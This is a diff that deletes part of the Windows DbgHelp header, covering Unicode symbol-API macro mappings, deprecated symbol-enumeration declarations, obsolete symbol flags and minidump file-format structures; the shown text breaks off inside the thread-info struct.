- #define SymFromIndex SymFromIndexW
- #define SymGetScope SymGetScopeW
- #define SymNext SymNextW
- #define SymPrev SymPrevW
- #define SymEnumTypes SymEnumTypesW
- #define SymEnumTypesByName SymEnumTypesByNameW
- #define SymRegisterCallback64 SymRegisterCallbackW64
- #define SymFindDebugInfoFile SymFindDebugInfoFileW
- #define FindDebugInfoFileEx FindDebugInfoFileExW
- #define SymFindFileInPath SymFindFileInPathW
- #define SymEnumerateModules64 SymEnumerateModulesW64
- #define SymSetHomeDirectory SymSetHomeDirectoryW
- #define SymGetHomeDirectory SymGetHomeDirectoryW
- #define SymGetSourceFile SymGetSourceFileW
- #define SymGetSourceFileToken SymGetSourceFileTokenW
- #define SymGetSourceFileFromToken SymGetSourceFileFromTokenW
- #define SymGetSourceVarFromToken SymGetSourceVarFromTokenW
- #define SymGetSourceFileToken SymGetSourceFileTokenW
- #define SymGetFileLineOffsets64 SymGetFileLineOffsetsW64
- #define SymFindFileInPath SymFindFileInPathW
- #define SymMatchFileName SymMatchFileNameW
- #define SymGetSourceFileFromToken SymGetSourceFileFromTokenW
- #define SymGetSourceVarFromToken SymGetSourceVarFromTokenW
- #define SymGetModuleInfo64 SymGetModuleInfoW64
- #define SymSrvIsStore SymSrvIsStoreW
- #define SymSrvDeltaName SymSrvDeltaNameW
- #define SymSrvGetSupplement SymSrvGetSupplementW
- #define SymSrvStoreSupplement SymSrvStoreSupplementW
- #define SymSrvGetFileIndexes SymSrvGetFileIndexes
- #define SymSrvGetFileIndexString SymSrvGetFileIndexStringW
- #define SymSrvStoreFile SymSrvStoreFileW
- #define SymGetSymbolFile SymGetSymbolFileW
- #define EnumerateLoadedModules64 EnumerateLoadedModulesW64
- #define EnumerateLoadedModulesEx EnumerateLoadedModulesExW
- #define SymSrvGetFileIndexInfo SymSrvGetFileIndexInfoW
-
- #define IMAGEHLP_LINE64 IMAGEHLP_LINEW64
- #define PIMAGEHLP_LINE64 PIMAGEHLP_LINEW64
- #define SYMBOL_INFO SYMBOL_INFOW
- #define PSYMBOL_INFO PSYMBOL_INFOW
- #define SYMBOL_INFO_PACKAGE SYMBOL_INFO_PACKAGEW
- #define PSYMBOL_INFO_PACKAGE PSYMBOL_INFO_PACKAGEW
- #define FIND_EXE_FILE_CALLBACK FIND_EXE_FILE_CALLBACKW
- #define PFIND_EXE_FILE_CALLBACK PFIND_EXE_FILE_CALLBACKW
- #define SYM_ENUMERATESYMBOLS_CALLBACK SYM_ENUMERATESYMBOLS_CALLBACKW
- #define PSYM_ENUMERATESYMBOLS_CALLBACK PSYM_ENUMERATESYMBOLS_CALLBACKW
- #define SRCCODEINFO SRCCODEINFOW
- #define PSRCCODEINFO PSRCCODEINFOW
- #define SOURCEFILE SOURCEFILEW
- #define PSOURCEFILE PSOURCEFILEW
- #define SYM_ENUMSOURECFILES_CALLBACK SYM_ENUMSOURCEFILES_CALLBACKW
- #define PSYM_ENUMSOURCEFILES_CALLBACK PSYM_ENUMSOURECFILES_CALLBACKW
- #define IMAGEHLP_CBA_EVENT IMAGEHLP_CBA_EVENTW
- #define PIMAGEHLP_CBA_EVENT PIMAGEHLP_CBA_EVENTW
- #define PENUMDIRTREE_CALLBACK PENUMDIRTREE_CALLBACKW
- #define IMAGEHLP_DEFERRED_SYMBOL_LOAD64 IMAGEHLP_DEFERRED_SYMBOL_LOADW64
- #define PIMAGEHLP_DEFERRED_SYMBOL_LOAD64 PIMAGEHLP_DEFERRED_SYMBOL_LOADW64
- #define PFIND_DEBUG_FILE_CALLBACK PFIND_DEBUG_FILE_CALLBACKW
- #define PFINDFILEINPATHCALLBACK PFINDFILEINPATHCALLBACKW
- #define IMAGEHLP_MODULE64 IMAGEHLP_MODULEW64
- #define PIMAGEHLP_MODULE64 PIMAGEHLP_MODULEW64
- #define SYMSRV_INDEX_INFO SYMSRV_INDEX_INFOW
- #define PSYMSRV_INDEX_INFO PSYMSRV_INDEX_INFOW
-
- #define PSYMBOLSERVERPROC PSYMBOLSERVERPROCW
- #define PSYMBOLSERVERPINGPROC PSYMBOLSERVERPINGPROCW
-#endif
-
-// -----------------------------------------------------------------
-// The following APIs exist only for backwards compatibility
-// with a pre-release version documented in an MSDN release.
-
-// You should use SymFindFileInPath if you want to maintain
-// future compatibility.
-
-DBHLP_DEPRECIATED
-BOOL
-IMAGEAPI
-FindFileInPath(
- __in HANDLE hprocess,
- __in PCSTR SearchPath,
- __in PCSTR FileName,
- __in PVOID id,
- __in DWORD two,
- __in DWORD three,
- __in DWORD flags,
- __out_ecount(MAX_PATH + 1) PSTR FilePath
- );
-
-// You should use SymFindFileInPath if you want to maintain
-// future compatibility.
-
-DBHLP_DEPRECIATED
-BOOL
-IMAGEAPI
-FindFileInSearchPath(
- __in HANDLE hprocess,
- __in PCSTR SearchPath,
- __in PCSTR FileName,
- __in DWORD one,
- __in DWORD two,
- __in DWORD three,
- __out_ecount(MAX_PATH + 1) PSTR FilePath
- );
-
-DBHLP_DEPRECIATED
-BOOL
-IMAGEAPI
-SymEnumSym(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in PSYM_ENUMERATESYMBOLS_CALLBACK EnumSymbolsCallback,
- __in_opt PVOID UserContext
- );
-
-DBHLP_DEPRECIATED
-BOOL
-IMAGEAPI
-SymEnumerateSymbols64(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in PSYM_ENUMSYMBOLS_CALLBACK64 EnumSymbolsCallback,
- __in_opt PVOID UserContext
- );
-
-DBHLP_DEPRECIATED
-BOOL
-IMAGEAPI
-SymEnumerateSymbolsW64(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in PSYM_ENUMSYMBOLS_CALLBACK64W EnumSymbolsCallback,
- __in_opt PVOID UserContext
- );
-
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define SymEnumerateSymbols SymEnumerateSymbols64
-#define SymEnumerateSymbolsW SymEnumerateSymbolsW64
-#else
-DBHLP_DEPRECIATED
-BOOL
-IMAGEAPI
-SymEnumerateSymbols(
- __in HANDLE hProcess,
- __in ULONG BaseOfDll,
- __in PSYM_ENUMSYMBOLS_CALLBACK EnumSymbolsCallback,
- __in_opt PVOID UserContext
- );
-
-DBHLP_DEPRECIATED
-BOOL
-IMAGEAPI
-SymEnumerateSymbolsW(
- __in HANDLE hProcess,
- __in ULONG BaseOfDll,
- __in PSYM_ENUMSYMBOLS_CALLBACKW EnumSymbolsCallback,
- __in_opt PVOID UserContext
- );
-#endif
-
-// use SymLoadModuleEx
-
-DWORD64
-IMAGEAPI
-SymLoadModule64(
- __in HANDLE hProcess,
- __in_opt HANDLE hFile,
- __in_opt PCSTR ImageName,
- __in_opt PCSTR ModuleName,
- __in DWORD64 BaseOfDll,
- __in DWORD SizeOfDll
- );
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define SymLoadModule SymLoadModule64
-#else
-DWORD
-IMAGEAPI
-SymLoadModule(
- __in HANDLE hProcess,
- __in_opt HANDLE hFile,
- __in_opt PCSTR ImageName,
- __in_opt PCSTR ModuleName,
- __in DWORD BaseOfDll,
- __in DWORD SizeOfDll
- );
-#endif
-
-BOOL
-IMAGEAPI
-SymGetSymNext64(
- __in HANDLE hProcess,
- __inout PIMAGEHLP_SYMBOL64 Symbol
- );
-
-BOOL
-IMAGEAPI
-SymGetSymNextW64(
- __in HANDLE hProcess,
- __inout PIMAGEHLP_SYMBOLW64 Symbol
- );
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define SymGetSymNext SymGetSymNext64
-#define SymGetSymNextW SymGetSymNextW64
-#else
-BOOL
-IMAGEAPI
-SymGetSymNext(
- __in HANDLE hProcess,
- __inout PIMAGEHLP_SYMBOL Symbol
- );
-
-BOOL
-IMAGEAPI
-SymGetSymNextW(
- __in HANDLE hProcess,
- __inout PIMAGEHLP_SYMBOLW Symbol
- );
-#endif
-
-BOOL
-IMAGEAPI
-SymGetSymPrev64(
- __in HANDLE hProcess,
- __inout PIMAGEHLP_SYMBOL64 Symbol
- );
-
-BOOL
-IMAGEAPI
-SymGetSymPrevW64(
- __in HANDLE hProcess,
- __inout PIMAGEHLP_SYMBOLW64 Symbol
- );
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define SymGetSymPrev SymGetSymPrev64
-#define SymGetSymPrevW SymGetSymPrevW64
-#else
-BOOL
-IMAGEAPI
-SymGetSymPrev(
- __in HANDLE hProcess,
- __inout PIMAGEHLP_SYMBOL Symbol
- );
-
-BOOL
-IMAGEAPI
-SymGetSymPrevW(
- __in HANDLE hProcess,
- __inout PIMAGEHLP_SYMBOLW Symbol
- );
-#endif
-
-
-// These values should not be used.
-// They have been replaced by SYMFLAG_ values.
-
-#define SYMF_OMAP_GENERATED 0x00000001
-#define SYMF_OMAP_MODIFIED 0x00000002
-#define SYMF_REGISTER 0x00000008
-#define SYMF_REGREL 0x00000010
-#define SYMF_FRAMEREL 0x00000020
-#define SYMF_PARAMETER 0x00000040
-#define SYMF_LOCAL 0x00000080
-#define SYMF_CONSTANT 0x00000100
-#define SYMF_EXPORT 0x00000200
-#define SYMF_FORWARDER 0x00000400
-#define SYMF_FUNCTION 0x00000800
-#define SYMF_VIRTUAL 0x00001000
-#define SYMF_THUNK 0x00002000
-#define SYMF_TLSREL 0x00004000
-
-// These values should also not be used.
-// They have been replaced by SYMFLAG_ values.
-
-#define IMAGEHLP_SYMBOL_INFO_VALUEPRESENT 1
-#define IMAGEHLP_SYMBOL_INFO_REGISTER SYMF_REGISTER // 0x0008
-#define IMAGEHLP_SYMBOL_INFO_REGRELATIVE SYMF_REGREL // 0x0010
-#define IMAGEHLP_SYMBOL_INFO_FRAMERELATIVE SYMF_FRAMEREL // 0x0020
-#define IMAGEHLP_SYMBOL_INFO_PARAMETER SYMF_PARAMETER // 0x0040
-#define IMAGEHLP_SYMBOL_INFO_LOCAL SYMF_LOCAL // 0x0080
-#define IMAGEHLP_SYMBOL_INFO_CONSTANT SYMF_CONSTANT // 0x0100
-#define IMAGEHLP_SYMBOL_FUNCTION SYMF_FUNCTION // 0x0800
-#define IMAGEHLP_SYMBOL_VIRTUAL SYMF_VIRTUAL // 0x1000
-#define IMAGEHLP_SYMBOL_THUNK SYMF_THUNK // 0x2000
-#define IMAGEHLP_SYMBOL_INFO_TLSRELATIVE SYMF_TLSREL // 0x4000
-
-#include
-
-
-#include
-
-#if defined(_MSC_VER)
-#if _MSC_VER >= 800
-#if _MSC_VER >= 1200
-#pragma warning(push)
-#endif
-#pragma warning(disable:4200) /* Zero length array */
-#pragma warning(disable:4201) /* Nameless struct/union */
-#endif
-#endif
-
-#define MINIDUMP_SIGNATURE ('PMDM')
-#define MINIDUMP_VERSION (42899)
-typedef DWORD RVA;
-typedef ULONG64 RVA64;
-
-typedef struct _MINIDUMP_LOCATION_DESCRIPTOR {
- ULONG32 DataSize;
- RVA Rva;
-} MINIDUMP_LOCATION_DESCRIPTOR;
-
-typedef struct _MINIDUMP_LOCATION_DESCRIPTOR64 {
- ULONG64 DataSize;
- RVA64 Rva;
-} MINIDUMP_LOCATION_DESCRIPTOR64;
-
-
-typedef struct _MINIDUMP_MEMORY_DESCRIPTOR {
- ULONG64 StartOfMemoryRange;
- MINIDUMP_LOCATION_DESCRIPTOR Memory;
-} MINIDUMP_MEMORY_DESCRIPTOR, *PMINIDUMP_MEMORY_DESCRIPTOR;
-
-// DESCRIPTOR64 is used for full-memory minidumps where
-// all of the raw memory is laid out sequentially at the
-// end of the dump. There is no need for individual RVAs
-// as the RVA is the base RVA plus the sum of the preceeding
-// data blocks.
-typedef struct _MINIDUMP_MEMORY_DESCRIPTOR64 {
- ULONG64 StartOfMemoryRange;
- ULONG64 DataSize;
-} MINIDUMP_MEMORY_DESCRIPTOR64, *PMINIDUMP_MEMORY_DESCRIPTOR64;
-
-
-typedef struct _MINIDUMP_HEADER {
- ULONG32 Signature;
- ULONG32 Version;
- ULONG32 NumberOfStreams;
- RVA StreamDirectoryRva;
- ULONG32 CheckSum;
- union {
- ULONG32 Reserved;
- ULONG32 TimeDateStamp;
- };
- ULONG64 Flags;
-} MINIDUMP_HEADER, *PMINIDUMP_HEADER;
-
-//
-// The MINIDUMP_HEADER field StreamDirectoryRva points to
-// an array of MINIDUMP_DIRECTORY structures.
-//
-
-typedef struct _MINIDUMP_DIRECTORY {
- ULONG32 StreamType;
- MINIDUMP_LOCATION_DESCRIPTOR Location;
-} MINIDUMP_DIRECTORY, *PMINIDUMP_DIRECTORY;
-
-
-typedef struct _MINIDUMP_STRING {
- ULONG32 Length; // Length in bytes of the string
- WCHAR Buffer [0]; // Variable size buffer
-} MINIDUMP_STRING, *PMINIDUMP_STRING;
-
-
-
-//
-// The MINIDUMP_DIRECTORY field StreamType may be one of the following types.
-// Types will be added in the future, so if a program reading the minidump
-// header encounters a stream type it does not understand it should ignore
-// the data altogether. Any tag above LastReservedStream will not be used by
-// the system and is reserved for program-specific information.
-//
-
-typedef enum _MINIDUMP_STREAM_TYPE {
-
- UnusedStream = 0,
- ReservedStream0 = 1,
- ReservedStream1 = 2,
- ThreadListStream = 3,
- ModuleListStream = 4,
- MemoryListStream = 5,
- ExceptionStream = 6,
- SystemInfoStream = 7,
- ThreadExListStream = 8,
- Memory64ListStream = 9,
- CommentStreamA = 10,
- CommentStreamW = 11,
- HandleDataStream = 12,
- FunctionTableStream = 13,
- UnloadedModuleListStream = 14,
- MiscInfoStream = 15,
- MemoryInfoListStream = 16,
- ThreadInfoListStream = 17,
- HandleOperationListStream = 18,
- TokenStream = 19,
-
- ceStreamNull = 0x8000,
- ceStreamSystemInfo = 0x8001,
- ceStreamException = 0x8002,
- ceStreamModuleList = 0x8003,
- ceStreamProcessList = 0x8004,
- ceStreamThreadList = 0x8005,
- ceStreamThreadContextList = 0x8006,
- ceStreamThreadCallStackList = 0x8007,
- ceStreamMemoryVirtualList = 0x8008,
- ceStreamMemoryPhysicalList = 0x8009,
- ceStreamBucketParameters = 0x800A,
- ceStreamProcessModuleMap = 0x800B,
- ceStreamDiagnosisList = 0x800C,
-
- LastReservedStream = 0xffff
-
-} MINIDUMP_STREAM_TYPE;
-
-
-//
-// The minidump system information contains processor and
-// Operating System specific information.
-//
-
-//
-// CPU information is obtained from one of two places.
-//
-// 1) On x86 computers, CPU_INFORMATION is obtained from the CPUID
-// instruction. You must use the X86 portion of the union for X86
-// computers.
-//
-// 2) On non-x86 architectures, CPU_INFORMATION is obtained by calling
-// IsProcessorFeatureSupported().
-//
-
-typedef union _CPU_INFORMATION {
-
- //
- // X86 platforms use CPUID function to obtain processor information.
- //
-
- struct {
-
- //
- // CPUID Subfunction 0, register EAX (VendorId [0]),
- // EBX (VendorId [1]) and ECX (VendorId [2]).
- //
-
- ULONG32 VendorId [ 3 ];
-
- //
- // CPUID Subfunction 1, register EAX
- //
-
- ULONG32 VersionInformation;
-
- //
- // CPUID Subfunction 1, register EDX
- //
-
- ULONG32 FeatureInformation;
-
-
- //
- // CPUID, Subfunction 80000001, register EBX. This will only
- // be obtained if the vendor id is "AuthenticAMD".
- //
-
- ULONG32 AMDExtendedCpuFeatures;
-
- } X86CpuInfo;
-
- //
- // Non-x86 platforms use processor feature flags.
- //
-
- struct {
-
- ULONG64 ProcessorFeatures [ 2 ];
-
- } OtherCpuInfo;
-
-} CPU_INFORMATION, *PCPU_INFORMATION;
-
-typedef struct _MINIDUMP_SYSTEM_INFO {
-
- //
- // ProcessorArchitecture, ProcessorLevel and ProcessorRevision are all
- // taken from the SYSTEM_INFO structure obtained by GetSystemInfo( ).
- //
-
- USHORT ProcessorArchitecture;
- USHORT ProcessorLevel;
- USHORT ProcessorRevision;
-
- union {
- USHORT Reserved0;
- struct {
- UCHAR NumberOfProcessors;
- UCHAR ProductType;
- };
- };
-
- //
- // MajorVersion, MinorVersion, BuildNumber, PlatformId and
- // CSDVersion are all taken from the OSVERSIONINFO structure
- // returned by GetVersionEx( ).
- //
-
- ULONG32 MajorVersion;
- ULONG32 MinorVersion;
- ULONG32 BuildNumber;
- ULONG32 PlatformId;
-
- //
- // RVA to a CSDVersion string in the string table.
- //
-
- RVA CSDVersionRva;
-
- union {
- ULONG32 Reserved1;
- struct {
- USHORT SuiteMask;
- USHORT Reserved2;
- };
- };
-
- CPU_INFORMATION Cpu;
-
-} MINIDUMP_SYSTEM_INFO, *PMINIDUMP_SYSTEM_INFO;
-
-
-//
-// The minidump thread contains standard thread
-// information plus an RVA to the memory for this
-// thread and an RVA to the CONTEXT structure for
-// this thread.
-//
-
-
-//
-// ThreadId must be 4 bytes on all architectures.
-//
-
-C_ASSERT (sizeof ( ((PPROCESS_INFORMATION)0)->dwThreadId ) == 4);
-
-typedef struct _MINIDUMP_THREAD {
- ULONG32 ThreadId;
- ULONG32 SuspendCount;
- ULONG32 PriorityClass;
- ULONG32 Priority;
- ULONG64 Teb;
- MINIDUMP_MEMORY_DESCRIPTOR Stack;
- MINIDUMP_LOCATION_DESCRIPTOR ThreadContext;
-} MINIDUMP_THREAD, *PMINIDUMP_THREAD;
-
-//
-// The thread list is a container of threads.
-//
-
-typedef struct _MINIDUMP_THREAD_LIST {
- ULONG32 NumberOfThreads;
- MINIDUMP_THREAD Threads [0];
-} MINIDUMP_THREAD_LIST, *PMINIDUMP_THREAD_LIST;
-
-
-typedef struct _MINIDUMP_THREAD_EX {
- ULONG32 ThreadId;
- ULONG32 SuspendCount;
- ULONG32 PriorityClass;
- ULONG32 Priority;
- ULONG64 Teb;
- MINIDUMP_MEMORY_DESCRIPTOR Stack;
- MINIDUMP_LOCATION_DESCRIPTOR ThreadContext;
- MINIDUMP_MEMORY_DESCRIPTOR BackingStore;
-} MINIDUMP_THREAD_EX, *PMINIDUMP_THREAD_EX;
-
-//
-// The thread list is a container of threads.
-//
-
-typedef struct _MINIDUMP_THREAD_EX_LIST {
- ULONG32 NumberOfThreads;
- MINIDUMP_THREAD_EX Threads [0];
-} MINIDUMP_THREAD_EX_LIST, *PMINIDUMP_THREAD_EX_LIST;
-
-
-//
-// The MINIDUMP_EXCEPTION is the same as EXCEPTION on Win64.
-//
-
-typedef struct _MINIDUMP_EXCEPTION {
- ULONG32 ExceptionCode;
- ULONG32 ExceptionFlags;
- ULONG64 ExceptionRecord;
- ULONG64 ExceptionAddress;
- ULONG32 NumberParameters;
- ULONG32 __unusedAlignment;
- ULONG64 ExceptionInformation [ EXCEPTION_MAXIMUM_PARAMETERS ];
-} MINIDUMP_EXCEPTION, *PMINIDUMP_EXCEPTION;
-
-
-//
-// The exception information stream contains the id of the thread that caused
-// the exception (ThreadId), the exception record for the exception
-// (ExceptionRecord) and an RVA to the thread context where the exception
-// occured.
-//
-
-typedef struct MINIDUMP_EXCEPTION_STREAM {
- ULONG32 ThreadId;
- ULONG32 __alignment;
- MINIDUMP_EXCEPTION ExceptionRecord;
- MINIDUMP_LOCATION_DESCRIPTOR ThreadContext;
-} MINIDUMP_EXCEPTION_STREAM, *PMINIDUMP_EXCEPTION_STREAM;
-
-
-//
-// The MINIDUMP_MODULE contains information about a
-// a specific module. It includes the CheckSum and
-// the TimeDateStamp for the module so the module
-// can be reloaded during the analysis phase.
-//
-
-typedef struct _MINIDUMP_MODULE {
- ULONG64 BaseOfImage;
- ULONG32 SizeOfImage;
- ULONG32 CheckSum;
- ULONG32 TimeDateStamp;
- RVA ModuleNameRva;
- VS_FIXEDFILEINFO VersionInfo;
- MINIDUMP_LOCATION_DESCRIPTOR CvRecord;
- MINIDUMP_LOCATION_DESCRIPTOR MiscRecord;
- ULONG64 Reserved0; // Reserved for future use.
- ULONG64 Reserved1; // Reserved for future use.
-} MINIDUMP_MODULE, *PMINIDUMP_MODULE;
-
-
-//
-// The minidump module list is a container for modules.
-//
-
-typedef struct _MINIDUMP_MODULE_LIST {
- ULONG32 NumberOfModules;
- MINIDUMP_MODULE Modules [ 0 ];
-} MINIDUMP_MODULE_LIST, *PMINIDUMP_MODULE_LIST;
-
-
-//
-// Memory Ranges
-//
-
-typedef struct _MINIDUMP_MEMORY_LIST {
- ULONG32 NumberOfMemoryRanges;
- MINIDUMP_MEMORY_DESCRIPTOR MemoryRanges [0];
-} MINIDUMP_MEMORY_LIST, *PMINIDUMP_MEMORY_LIST;
-
-typedef struct _MINIDUMP_MEMORY64_LIST {
- ULONG64 NumberOfMemoryRanges;
- RVA64 BaseRva;
- MINIDUMP_MEMORY_DESCRIPTOR64 MemoryRanges [0];
-} MINIDUMP_MEMORY64_LIST, *PMINIDUMP_MEMORY64_LIST;
-
-
-//
-// Support for user supplied exception information.
-//
-
-typedef struct _MINIDUMP_EXCEPTION_INFORMATION {
- DWORD ThreadId;
- PEXCEPTION_POINTERS ExceptionPointers;
- BOOL ClientPointers;
-} MINIDUMP_EXCEPTION_INFORMATION, *PMINIDUMP_EXCEPTION_INFORMATION;
-
-typedef struct _MINIDUMP_EXCEPTION_INFORMATION64 {
- DWORD ThreadId;
- ULONG64 ExceptionRecord;
- ULONG64 ContextRecord;
- BOOL ClientPointers;
-} MINIDUMP_EXCEPTION_INFORMATION64, *PMINIDUMP_EXCEPTION_INFORMATION64;
-
-
-//
-// Support for capturing system handle state at the time of the dump.
-//
-
-// Per-handle object information varies according to
-// the OS, the OS version, the processor type and
-// so on. The minidump gives a minidump identifier
-// to each possible data format for identification
-// purposes but does not control nor describe the actual data.
-typedef enum _MINIDUMP_HANDLE_OBJECT_INFORMATION_TYPE {
- MiniHandleObjectInformationNone,
- MiniThreadInformation1,
- MiniMutantInformation1,
- MiniMutantInformation2,
- MiniProcessInformation1,
- MiniProcessInformation2,
- MiniHandleObjectInformationTypeMax
-} MINIDUMP_HANDLE_OBJECT_INFORMATION_TYPE;
-
-typedef struct _MINIDUMP_HANDLE_OBJECT_INFORMATION {
- RVA NextInfoRva;
- ULONG32 InfoType;
- ULONG32 SizeOfInfo;
- // Raw information follows.
-} MINIDUMP_HANDLE_OBJECT_INFORMATION;
-
-typedef struct _MINIDUMP_HANDLE_DESCRIPTOR {
- ULONG64 Handle;
- RVA TypeNameRva;
- RVA ObjectNameRva;
- ULONG32 Attributes;
- ULONG32 GrantedAccess;
- ULONG32 HandleCount;
- ULONG32 PointerCount;
-} MINIDUMP_HANDLE_DESCRIPTOR, *PMINIDUMP_HANDLE_DESCRIPTOR;
-
-typedef struct _MINIDUMP_HANDLE_DESCRIPTOR_2 {
- ULONG64 Handle;
- RVA TypeNameRva;
- RVA ObjectNameRva;
- ULONG32 Attributes;
- ULONG32 GrantedAccess;
- ULONG32 HandleCount;
- ULONG32 PointerCount;
- RVA ObjectInfoRva;
- ULONG32 Reserved0;
-} MINIDUMP_HANDLE_DESCRIPTOR_2, *PMINIDUMP_HANDLE_DESCRIPTOR_2;
-
-// The latest MINIDUMP_HANDLE_DESCRIPTOR definition.
-typedef MINIDUMP_HANDLE_DESCRIPTOR_2 MINIDUMP_HANDLE_DESCRIPTOR_N;
-typedef MINIDUMP_HANDLE_DESCRIPTOR_N *PMINIDUMP_HANDLE_DESCRIPTOR_N;
-
-typedef struct _MINIDUMP_HANDLE_DATA_STREAM {
- ULONG32 SizeOfHeader;
- ULONG32 SizeOfDescriptor;
- ULONG32 NumberOfDescriptors;
- ULONG32 Reserved;
-} MINIDUMP_HANDLE_DATA_STREAM, *PMINIDUMP_HANDLE_DATA_STREAM;
-
-// Some operating systems can track the last operations
-// performed on a handle. For example, Application Verifier
-// can enable this for some versions of Windows. The
-// handle operation list collects handle operations
-// known for the dump target.
-// Each entry is an AVRF_HANDLE_OPERATION.
-typedef struct _MINIDUMP_HANDLE_OPERATION_LIST {
- ULONG32 SizeOfHeader;
- ULONG32 SizeOfEntry;
- ULONG32 NumberOfEntries;
- ULONG32 Reserved;
-} MINIDUMP_HANDLE_OPERATION_LIST, *PMINIDUMP_HANDLE_OPERATION_LIST;
-
-
-//
-// Support for capturing dynamic function table state at the time of the dump.
-//
-
-typedef struct _MINIDUMP_FUNCTION_TABLE_DESCRIPTOR {
- ULONG64 MinimumAddress;
- ULONG64 MaximumAddress;
- ULONG64 BaseAddress;
- ULONG32 EntryCount;
- ULONG32 SizeOfAlignPad;
-} MINIDUMP_FUNCTION_TABLE_DESCRIPTOR, *PMINIDUMP_FUNCTION_TABLE_DESCRIPTOR;
-
-typedef struct _MINIDUMP_FUNCTION_TABLE_STREAM {
- ULONG32 SizeOfHeader;
- ULONG32 SizeOfDescriptor;
- ULONG32 SizeOfNativeDescriptor;
- ULONG32 SizeOfFunctionEntry;
- ULONG32 NumberOfDescriptors;
- ULONG32 SizeOfAlignPad;
-} MINIDUMP_FUNCTION_TABLE_STREAM, *PMINIDUMP_FUNCTION_TABLE_STREAM;
-
-
-//
-// The MINIDUMP_UNLOADED_MODULE contains information about a
-// a specific module that was previously loaded but no
-// longer is. This can help with diagnosing problems where
-// callers attempt to call code that is no longer loaded.
-//
-
-typedef struct _MINIDUMP_UNLOADED_MODULE {
- ULONG64 BaseOfImage;
- ULONG32 SizeOfImage;
- ULONG32 CheckSum;
- ULONG32 TimeDateStamp;
- RVA ModuleNameRva;
-} MINIDUMP_UNLOADED_MODULE, *PMINIDUMP_UNLOADED_MODULE;
-
-
-//
-// The minidump unloaded module list is a container for unloaded modules.
-//
-
-typedef struct _MINIDUMP_UNLOADED_MODULE_LIST {
- ULONG32 SizeOfHeader;
- ULONG32 SizeOfEntry;
- ULONG32 NumberOfEntries;
-} MINIDUMP_UNLOADED_MODULE_LIST, *PMINIDUMP_UNLOADED_MODULE_LIST;
-
-
-//
-// The miscellaneous information stream contains a variety
-// of small pieces of information. A member is valid if
-// it's within the available size and its corresponding
-// bit is set.
-//
-
-#define MINIDUMP_MISC1_PROCESS_ID 0x00000001
-#define MINIDUMP_MISC1_PROCESS_TIMES 0x00000002
-#define MINIDUMP_MISC1_PROCESSOR_POWER_INFO 0x00000004
-#define MINIDUMP_MISC3_PROCESS_INTEGRITY 0x00000010
-#define MINIDUMP_MISC3_PROCESS_EXECUTE_FLAGS 0x00000020
-#define MINIDUMP_MISC3_TIMEZONE 0x00000040
-#define MINIDUMP_MISC3_PROTECTED_PROCESS 0x00000080
-
-typedef struct _MINIDUMP_MISC_INFO {
- ULONG32 SizeOfInfo;
- ULONG32 Flags1;
- ULONG32 ProcessId;
- ULONG32 ProcessCreateTime;
- ULONG32 ProcessUserTime;
- ULONG32 ProcessKernelTime;
-} MINIDUMP_MISC_INFO, *PMINIDUMP_MISC_INFO;
-
-typedef struct _MINIDUMP_MISC_INFO_2 {
- ULONG32 SizeOfInfo;
- ULONG32 Flags1;
- ULONG32 ProcessId;
- ULONG32 ProcessCreateTime;
- ULONG32 ProcessUserTime;
- ULONG32 ProcessKernelTime;
- ULONG32 ProcessorMaxMhz;
- ULONG32 ProcessorCurrentMhz;
- ULONG32 ProcessorMhzLimit;
- ULONG32 ProcessorMaxIdleState;
- ULONG32 ProcessorCurrentIdleState;
-} MINIDUMP_MISC_INFO_2, *PMINIDUMP_MISC_INFO_2;
-
-typedef struct _MINIDUMP_MISC_INFO_3 {
- ULONG32 SizeOfInfo;
- ULONG32 Flags1;
- ULONG32 ProcessId;
- ULONG32 ProcessCreateTime;
- ULONG32 ProcessUserTime;
- ULONG32 ProcessKernelTime;
- ULONG32 ProcessorMaxMhz;
- ULONG32 ProcessorCurrentMhz;
- ULONG32 ProcessorMhzLimit;
- ULONG32 ProcessorMaxIdleState;
- ULONG32 ProcessorCurrentIdleState;
- ULONG32 ProcessIntegrityLevel;
- ULONG32 ProcessExecuteFlags;
- ULONG32 ProtectedProcess;
- ULONG32 TimeZoneId;
- TIME_ZONE_INFORMATION TimeZone;
-} MINIDUMP_MISC_INFO_3, *PMINIDUMP_MISC_INFO_3;
-
-// The latest MINIDUMP_MISC_INFO definition.
-typedef MINIDUMP_MISC_INFO_3 MINIDUMP_MISC_INFO_N;
-typedef MINIDUMP_MISC_INFO_N* PMINIDUMP_MISC_INFO_N;
-
-
-//
-// The memory information stream contains memory region
-// description information. This stream corresponds to
-// what VirtualQuery would return for the process the
-// dump was created for.
-//
-
-typedef struct _MINIDUMP_MEMORY_INFO {
- ULONG64 BaseAddress;
- ULONG64 AllocationBase;
- ULONG32 AllocationProtect;
- ULONG32 __alignment1;
- ULONG64 RegionSize;
- ULONG32 State;
- ULONG32 Protect;
- ULONG32 Type;
- ULONG32 __alignment2;
-} MINIDUMP_MEMORY_INFO, *PMINIDUMP_MEMORY_INFO;
-
-typedef struct _MINIDUMP_MEMORY_INFO_LIST {
- ULONG SizeOfHeader;
- ULONG SizeOfEntry;
- ULONG64 NumberOfEntries;
-} MINIDUMP_MEMORY_INFO_LIST, *PMINIDUMP_MEMORY_INFO_LIST;
-
-
-//
-// The memory information stream contains memory region
-// description information. This stream corresponds to
-// what VirtualQuery would return for the process the
-// dump was created for.
-//
-
-// Thread dump writer status flags.
-#define MINIDUMP_THREAD_INFO_ERROR_THREAD 0x00000001
-#define MINIDUMP_THREAD_INFO_WRITING_THREAD 0x00000002
-#define MINIDUMP_THREAD_INFO_EXITED_THREAD 0x00000004
-#define MINIDUMP_THREAD_INFO_INVALID_INFO 0x00000008
-#define MINIDUMP_THREAD_INFO_INVALID_CONTEXT 0x00000010
-#define MINIDUMP_THREAD_INFO_INVALID_TEB 0x00000020
-
-typedef struct _MINIDUMP_THREAD_INFO {
- ULONG32 ThreadId;
- ULONG32 DumpFlags;
- ULONG32 DumpError;
- ULONG32 ExitStatus;
- ULONG64 CreateTime;
- ULONG64 ExitTime;
- ULONG64 KernelTime;
- ULONG64 UserTime;
- ULONG64 StartAddress;
- ULONG64 Affinity;
